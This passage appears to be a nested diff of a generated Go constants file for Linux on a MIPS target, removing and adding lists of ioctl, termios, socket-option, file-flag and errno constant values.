-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x5407
-- TCGETA = 0x5401
-- TCGETS = 0x540d
-- TCGETS2 = 0x4030542a
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x5410
-- TCSBRK = 0x5405
-- TCSBRKP = 0x5486
-- TCSETA = 0x5402
-- TCSETAF = 0x5404
-- TCSETAW = 0x5403
-- TCSETS = 0x540e
-- TCSETS2 = 0x8030542b
-- TCSETSF = 0x5410
-- TCSETSF2 = 0x8030542d
-- TCSETSW = 0x540f
-- TCSETSW2 = 0x8030542c
-- TCXONC = 0x5406
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x80047478
-- TIOCEXCL = 0x740d
-- TIOCGDEV = 0x40045432
-- TIOCGETD = 0x7400
-- TIOCGETP = 0x7408
-- TIOCGEXCL = 0x40045440
-- TIOCGICOUNT = 0x5492
-- TIOCGLCKTRMIOS = 0x548b
-- TIOCGLTC = 0x7474
-- TIOCGPGRP = 0x40047477
-- TIOCGPKT = 0x40045438
-- TIOCGPTLCK = 0x40045439
-- TIOCGPTN = 0x40045430
-- TIOCGRS485 = 0x4020542e
-- TIOCGSERIAL = 0x5484
-- TIOCGSID = 0x7416
-- TIOCGSOFTCAR = 0x5481
-- TIOCGWINSZ = 0x40087468
-- TIOCINQ = 0x467f
-- TIOCLINUX = 0x5483
-- TIOCMBIC = 0x741c
-- TIOCMBIS = 0x741b
-- TIOCMGET = 0x741d
-- TIOCMIWAIT = 0x5491
-- TIOCMSET = 0x741a
-- TIOCM_CAR = 0x100
-- TIOCM_CD = 0x100
-- TIOCM_CTS = 0x40
-- TIOCM_DSR = 0x400
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x200
-- TIOCM_RNG = 0x200
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x20
-- TIOCM_ST = 0x10
-- TIOCNOTTY = 0x5471
-- TIOCNXCL = 0x740e
-- TIOCOUTQ = 0x7472
-- TIOCPKT = 0x5470
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x5480
-- TIOCSERCONFIG = 0x5488
-- TIOCSERGETLSR = 0x548e
-- TIOCSERGETMULTI = 0x548f
-- TIOCSERGSTRUCT = 0x548d
-- TIOCSERGWILD = 0x5489
-- TIOCSERSETMULTI = 0x5490
-- TIOCSERSWILD = 0x548a
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x7401
-- TIOCSETN = 0x740a
-- TIOCSETP = 0x7409
-- TIOCSIG = 0x80045436
-- TIOCSLCKTRMIOS = 0x548c
-- TIOCSLTC = 0x7475
-- TIOCSPGRP = 0x80047476
-- TIOCSPTLCK = 0x80045431
-- TIOCSRS485 = 0xc020542f
-- TIOCSSERIAL = 0x5485
-- TIOCSSOFTCAR = 0x5482
-- TIOCSTI = 0x5472
-- TIOCSWINSZ = 0x80087467
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x8000
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x800854d5
-- TUNDETACHFILTER = 0x800854d6
-- TUNGETFEATURES = 0x400454cf
-- TUNGETFILTER = 0x400854db
-- TUNGETIFF = 0x400454d2
-- TUNGETSNDBUF = 0x400454d3
-- TUNGETVNETBE = 0x400454df
-- TUNGETVNETHDRSZ = 0x400454d7
-- TUNGETVNETLE = 0x400454dd
-- TUNSETDEBUG = 0x800454c9
-- TUNSETGROUP = 0x800454ce
-- TUNSETIFF = 0x800454ca
-- TUNSETIFINDEX = 0x800454da
-- TUNSETLINK = 0x800454cd
-- TUNSETNOCSUM = 0x800454c8
-- TUNSETOFFLOAD = 0x800454d0
-- TUNSETOWNER = 0x800454cc
-- TUNSETPERSIST = 0x800454cb
-- TUNSETQUEUE = 0x800454d9
-- TUNSETSNDBUF = 0x800454d4
-- TUNSETTXFILTER = 0x800454d1
-- TUNSETVNETBE = 0x800454de
-- TUNSETVNETHDRSZ = 0x800454d8
-- TUNSETVNETLE = 0x800454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x10
-- VEOL = 0x11
-- VEOL2 = 0x6
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x4
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VSWTCH = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x20
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x40041270
-+ BLKBSZSET = 0x80041271
-+ BLKFLSBUF = 0x20001261
-+ BLKFRAGET = 0x20001265
-+ BLKFRASET = 0x20001264
-+ BLKGETSIZE = 0x20001260
-+ BLKGETSIZE64 = 0x40041272
-+ BLKPBSZGET = 0x2000127b
-+ BLKRAGET = 0x20001263
-+ BLKRASET = 0x20001262
-+ BLKROGET = 0x2000125e
-+ BLKROSET = 0x2000125d
-+ BLKRRPART = 0x2000125f
-+ BLKSECTGET = 0x20001267
-+ BLKSECTSET = 0x20001266
-+ BLKSSZGET = 0x20001268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x80
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x2000
-+ FS_IOC_ENABLE_VERITY = 0x80806685
-+ FS_IOC_GETFLAGS = 0x40046601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-+ F_GETLK = 0x21
-+ F_GETLK64 = 0x21
-+ F_GETOWN = 0x17
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x22
-+ F_SETLK64 = 0x22
-+ F_SETLKW = 0x23
-+ F_SETLKW64 = 0x23
-+ F_SETOWN = 0x18
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x100
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x80
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x800
-+ MAP_ANONYMOUS = 0x800
-+ MAP_DENYWRITE = 0x2000
-+ MAP_EXECUTABLE = 0x4000
-+ MAP_GROWSDOWN = 0x1000
-+ MAP_HUGETLB = 0x80000
-+ MAP_LOCKED = 0x8000
-+ MAP_NONBLOCK = 0x20000
-+ MAP_NORESERVE = 0x400
-+ MAP_POPULATE = 0x10000
-+ MAP_RENAME = 0x800
-+ MAP_STACK = 0x40000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x20
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0x2000b703
-+ NS_GET_OWNER_UID = 0x2000b704
-+ NS_GET_PARENT = 0x2000b702
-+ NS_GET_USERNS = 0x2000b701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x8
-+ O_ASYNC = 0x1000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x100
-+ O_DIRECT = 0x8000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x10
-+ O_EXCL = 0x400
-+ O_FSYNC = 0x4010
-+ O_LARGEFILE = 0x2000
-+ O_NDELAY = 0x80
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x800
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x80
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x4010
-+ O_SYNC = 0x4010
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x20002401
-+ PERF_EVENT_IOC_ENABLE = 0x20002400
-+ PERF_EVENT_IOC_ID = 0x40042407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8004240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-+ PERF_EVENT_IOC_PERIOD = 0x80082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc004240a
-+ PERF_EVENT_IOC_REFRESH = 0x20002402
-+ PERF_EVENT_IOC_RESET = 0x20002403
-+ PERF_EVENT_IOC_SET_BPF = 0x80042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x80042406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-+ PPPIOCATTACH = 0x8004743d
-+ PPPIOCATTCHAN = 0x80047438
-+ PPPIOCCONNECT = 0x8004743a
-+ PPPIOCDETACH = 0x8004743c
-+ PPPIOCDISCONN = 0x20007439
-+ PPPIOCGASYNCMAP = 0x40047458
-+ PPPIOCGCHAN = 0x40047437
-+ PPPIOCGDEBUG = 0x40047441
-+ PPPIOCGFLAGS = 0x4004745a
-+ PPPIOCGIDLE = 0x4008743f
-+ PPPIOCGIDLE32 = 0x4008743f
-+ PPPIOCGIDLE64 = 0x4010743f
-+ PPPIOCGL2TPSTATS = 0x40487436
-+ PPPIOCGMRU = 0x40047453
-+ PPPIOCGRASYNCMAP = 0x40047455
-+ PPPIOCGUNIT = 0x40047456
-+ PPPIOCGXASYNCMAP = 0x40207450
-+ PPPIOCSACTIVE = 0x80087446
-+ PPPIOCSASYNCMAP = 0x80047457
-+ PPPIOCSCOMPRESS = 0x800c744d
-+ PPPIOCSDEBUG = 0x80047440
-+ PPPIOCSFLAGS = 0x80047459
-+ PPPIOCSMAXCID = 0x80047451
-+ PPPIOCSMRRU = 0x8004743b
-+ PPPIOCSMRU = 0x80047452
-+ PPPIOCSNPMODE = 0x8008744b
-+ PPPIOCSPASS = 0x80087447
-+ PPPIOCSRASYNCMAP = 0x80047454
-+ PPPIOCSXASYNCMAP = 0x8020744f
-+ PPPIOCXFERUNIT = 0x2000744e
-+ PR_SET_PTRACER_ANY = 0xffffffff
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GET_THREAD_AREA = 0x19
-+ PTRACE_GET_THREAD_AREA_3264 = 0xc4
-+ PTRACE_GET_WATCH_REGS = 0xd0
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_PEEKDATA_3264 = 0xc1
-+ PTRACE_PEEKTEXT_3264 = 0xc0
-+ PTRACE_POKEDATA_3264 = 0xc3
-+ PTRACE_POKETEXT_3264 = 0xc2
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SET_THREAD_AREA = 0x1a
-+ PTRACE_SET_WATCH_REGS = 0xd1
-+ RLIMIT_AS = 0x6
-+ RLIMIT_MEMLOCK = 0x9
-+ RLIMIT_NOFILE = 0x5
-+ RLIMIT_NPROC = 0x8
-+ RLIMIT_RSS = 0x7
-+ RNDADDENTROPY = 0x80085203
-+ RNDADDTOENTCNT = 0x80045201
-+ RNDCLEARPOOL = 0x20005206
-+ RNDGETENTCNT = 0x40045200
-+ RNDGETPOOL = 0x40085202
-+ RNDRESEEDCRNG = 0x20005207
-+ RNDZAPENTCNT = 0x20005204
-+ RTC_AIE_OFF = 0x20007002
-+ RTC_AIE_ON = 0x20007001
-+ RTC_ALM_READ = 0x40247008
-+ RTC_ALM_SET = 0x80247007
-+ RTC_EPOCH_READ = 0x4004700d
-+ RTC_EPOCH_SET = 0x8004700e
-+ RTC_IRQP_READ = 0x4004700b
-+ RTC_IRQP_SET = 0x8004700c
-+ RTC_PIE_OFF = 0x20007006
-+ RTC_PIE_ON = 0x20007005
-+ RTC_PLL_GET = 0x401c7011
-+ RTC_PLL_SET = 0x801c7012
-+ RTC_RD_TIME = 0x40247009
-+ RTC_SET_TIME = 0x8024700a
-+ RTC_UIE_OFF = 0x20007004
-+ RTC_UIE_ON = 0x20007003
-+ RTC_VL_CLR = 0x20007014
-+ RTC_VL_READ = 0x40047013
-+ RTC_WIE_OFF = 0x20007010
-+ RTC_WIE_ON = 0x2000700f
-+ RTC_WKALM_RD = 0x40287010
-+ RTC_WKALM_SET = 0x8028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x80
-+ SIOCATMARK = 0x40047307
-+ SIOCGPGRP = 0x40047309
-+ SIOCGSTAMPNS_NEW = 0x40108907
-+ SIOCGSTAMP_NEW = 0x40108906
-+ SIOCINQ = 0x467f
-+ SIOCOUTQ = 0x7472
-+ SIOCSPGRP = 0x80047308
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x1
-+ SOCK_NONBLOCK = 0x80
-+ SOCK_STREAM = 0x2
-+ SOL_SOCKET = 0xffff
-+ SO_ACCEPTCONN = 0x1009
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x20
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x1029
-+ SO_DONTROUTE = 0x10
-+ SO_ERROR = 0x1007
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x8
-+ SO_LINGER = 0x80
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0x100
-+ SO_PASSCRED = 0x11
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x12
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1e
-+ SO_PROTOCOL = 0x1028
-+ SO_RCVBUF = 0x1002
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x1004
-+ SO_RCVTIMEO = 0x1006
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x1006
-+ SO_REUSEADDR = 0x4
-+ SO_REUSEPORT = 0x200
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x1001
-+ SO_SNDBUFFORCE = 0x1f
-+ SO_SNDLOWAT = 0x1003
-+ SO_SNDTIMEO = 0x1005
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x1005
-+ SO_STYLE = 0x1008
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x1008
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x5407
-+ TCGETA = 0x5401
-+ TCGETS = 0x540d
-+ TCGETS2 = 0x4030542a
-+ TCSAFLUSH = 0x5410
-+ TCSBRK = 0x5405
-+ TCSBRKP = 0x5486
-+ TCSETA = 0x5402
-+ TCSETAF = 0x5404
-+ TCSETAW = 0x5403
-+ TCSETS = 0x540e
-+ TCSETS2 = 0x8030542b
-+ TCSETSF = 0x5410
-+ TCSETSF2 = 0x8030542d
-+ TCSETSW = 0x540f
-+ TCSETSW2 = 0x8030542c
-+ TCXONC = 0x5406
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x80047478
-+ TIOCEXCL = 0x740d
-+ TIOCGDEV = 0x40045432
-+ TIOCGETD = 0x7400
-+ TIOCGETP = 0x7408
-+ TIOCGEXCL = 0x40045440
-+ TIOCGICOUNT = 0x5492
-+ TIOCGISO7816 = 0x40285442
-+ TIOCGLCKTRMIOS = 0x548b
-+ TIOCGLTC = 0x7474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGPKT = 0x40045438
-+ TIOCGPTLCK = 0x40045439
-+ TIOCGPTN = 0x40045430
-+ TIOCGPTPEER = 0x20005441
-+ TIOCGRS485 = 0x4020542e
-+ TIOCGSERIAL = 0x5484
-+ TIOCGSID = 0x7416
-+ TIOCGSOFTCAR = 0x5481
-+ TIOCGWINSZ = 0x40087468
-+ TIOCINQ = 0x467f
-+ TIOCLINUX = 0x5483
-+ TIOCMBIC = 0x741c
-+ TIOCMBIS = 0x741b
-+ TIOCMGET = 0x741d
-+ TIOCMIWAIT = 0x5491
-+ TIOCMSET = 0x741a
-+ TIOCM_CAR = 0x100
-+ TIOCM_CD = 0x100
-+ TIOCM_CTS = 0x40
-+ TIOCM_DSR = 0x400
-+ TIOCM_RI = 0x200
-+ TIOCM_RNG = 0x200
-+ TIOCM_SR = 0x20
-+ TIOCM_ST = 0x10
-+ TIOCNOTTY = 0x5471
-+ TIOCNXCL = 0x740e
-+ TIOCOUTQ = 0x7472
-+ TIOCPKT = 0x5470
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x5480
-+ TIOCSERCONFIG = 0x5488
-+ TIOCSERGETLSR = 0x548e
-+ TIOCSERGETMULTI = 0x548f
-+ TIOCSERGSTRUCT = 0x548d
-+ TIOCSERGWILD = 0x5489
-+ TIOCSERSETMULTI = 0x5490
-+ TIOCSERSWILD = 0x548a
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x7401
-+ TIOCSETN = 0x740a
-+ TIOCSETP = 0x7409
-+ TIOCSIG = 0x80045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x548c
-+ TIOCSLTC = 0x7475
-+ TIOCSPGRP = 0x80047476
-+ TIOCSPTLCK = 0x80045431
-+ TIOCSRS485 = 0xc020542f
-+ TIOCSSERIAL = 0x5485
-+ TIOCSSOFTCAR = 0x5482
-+ TIOCSTI = 0x5472
-+ TIOCSWINSZ = 0x80087467
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x8000
-+ TUNATTACHFILTER = 0x800854d5
-+ TUNDETACHFILTER = 0x800854d6
-+ TUNGETDEVNETNS = 0x200054e3
-+ TUNGETFEATURES = 0x400454cf
-+ TUNGETFILTER = 0x400854db
-+ TUNGETIFF = 0x400454d2
-+ TUNGETSNDBUF = 0x400454d3
-+ TUNGETVNETBE = 0x400454df
-+ TUNGETVNETHDRSZ = 0x400454d7
-+ TUNGETVNETLE = 0x400454dd
-+ TUNSETCARRIER = 0x800454e2
-+ TUNSETDEBUG = 0x800454c9
-+ TUNSETFILTEREBPF = 0x400454e1
-+ TUNSETGROUP = 0x800454ce
-+ TUNSETIFF = 0x800454ca
-+ TUNSETIFINDEX = 0x800454da
-+ TUNSETLINK = 0x800454cd
-+ TUNSETNOCSUM = 0x800454c8
-+ TUNSETOFFLOAD = 0x800454d0
-+ TUNSETOWNER = 0x800454cc
-+ TUNSETPERSIST = 0x800454cb
-+ TUNSETQUEUE = 0x800454d9
-+ TUNSETSNDBUF = 0x800454d4
-+ TUNSETSTEERINGEBPF = 0x400454e0
-+ TUNSETTXFILTER = 0x800454d1
-+ TUNSETVNETBE = 0x800454de
-+ TUNSETVNETHDRSZ = 0x800454d8
-+ TUNSETVNETLE = 0x800454dc
-+ UBI_IOCATT = 0x80186f40
-+ UBI_IOCDET = 0x80046f41
-+ UBI_IOCEBCH = 0x80044f02
-+ UBI_IOCEBER = 0x80044f01
-+ UBI_IOCEBISMAP = 0x40044f05
-+ UBI_IOCEBMAP = 0x80084f03
-+ UBI_IOCEBUNMAP = 0x80044f04
-+ UBI_IOCMKVOL = 0x80986f00
-+ UBI_IOCRMVOL = 0x80046f01
-+ UBI_IOCRNVOL = 0x91106f03
-+ UBI_IOCRPEB = 0x80046f04
-+ UBI_IOCRSVOL = 0x800c6f02
-+ UBI_IOCSETVOLPROP = 0x80104f06
-+ UBI_IOCSPEB = 0x80046f05
-+ UBI_IOCVOLCRBLK = 0x80804f07
-+ UBI_IOCVOLRMBLK = 0x20004f08
-+ UBI_IOCVOLUP = 0x80084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x10
-+ VEOL = 0x11
-+ VEOL2 = 0x6
-+ VMIN = 0x4
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VSWTCH = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x40045702
-+ WDIOC_GETPRETIMEOUT = 0x40045709
-+ WDIOC_GETSTATUS = 0x40045701
-+ WDIOC_GETSUPPORT = 0x40285700
-+ WDIOC_GETTEMP = 0x40045703
-+ WDIOC_GETTIMELEFT = 0x4004570a
-+ WDIOC_GETTIMEOUT = 0x40045707
-+ WDIOC_KEEPALIVE = 0x40045705
-+ WDIOC_SETOPTIONS = 0x40045704
-+ WORDSIZE = 0x20
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x7d)
- EADDRNOTAVAIL = syscall.Errno(0x7e)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x7c)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x95)
- EBADE = syscall.Errno(0x32)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x51)
- EBADMSG = syscall.Errno(0x4d)
- EBADR = syscall.Errno(0x33)
- EBADRQC = syscall.Errno(0x36)
- EBADSLT = syscall.Errno(0x37)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x9e)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x25)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x82)
-@@ -1886,12 +502,8 @@ const (
- EDEADLK = syscall.Errno(0x2d)
- EDEADLOCK = syscall.Errno(0x38)
- EDESTADDRREQ = syscall.Errno(0x60)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x46d)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x93)
- EHOSTUNREACH = syscall.Errno(0x94)
- EHWPOISON = syscall.Errno(0xa8)
-@@ -1899,11 +511,7 @@ const (
- EILSEQ = syscall.Errno(0x58)
- EINIT = syscall.Errno(0x8d)
- EINPROGRESS = syscall.Errno(0x96)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x85)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x8b)
- EKEYEXPIRED = syscall.Errno(0xa2)
- EKEYREJECTED = syscall.Errno(0xa4)
-@@ -1920,8 +528,6 @@ const (
- ELNRNG = syscall.Errno(0x29)
- ELOOP = syscall.Errno(0x5a)
- EMEDIUMTYPE = syscall.Errno(0xa0)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x61)
- EMULTIHOP = syscall.Errno(0x4a)
- ENAMETOOLONG = syscall.Errno(0x4e)
-@@ -1929,100 +535,68 @@ const (
- ENETDOWN = syscall.Errno(0x7f)
- ENETRESET = syscall.Errno(0x81)
- ENETUNREACH = syscall.Errno(0x80)
-- ENFILE = syscall.Errno(0x17)
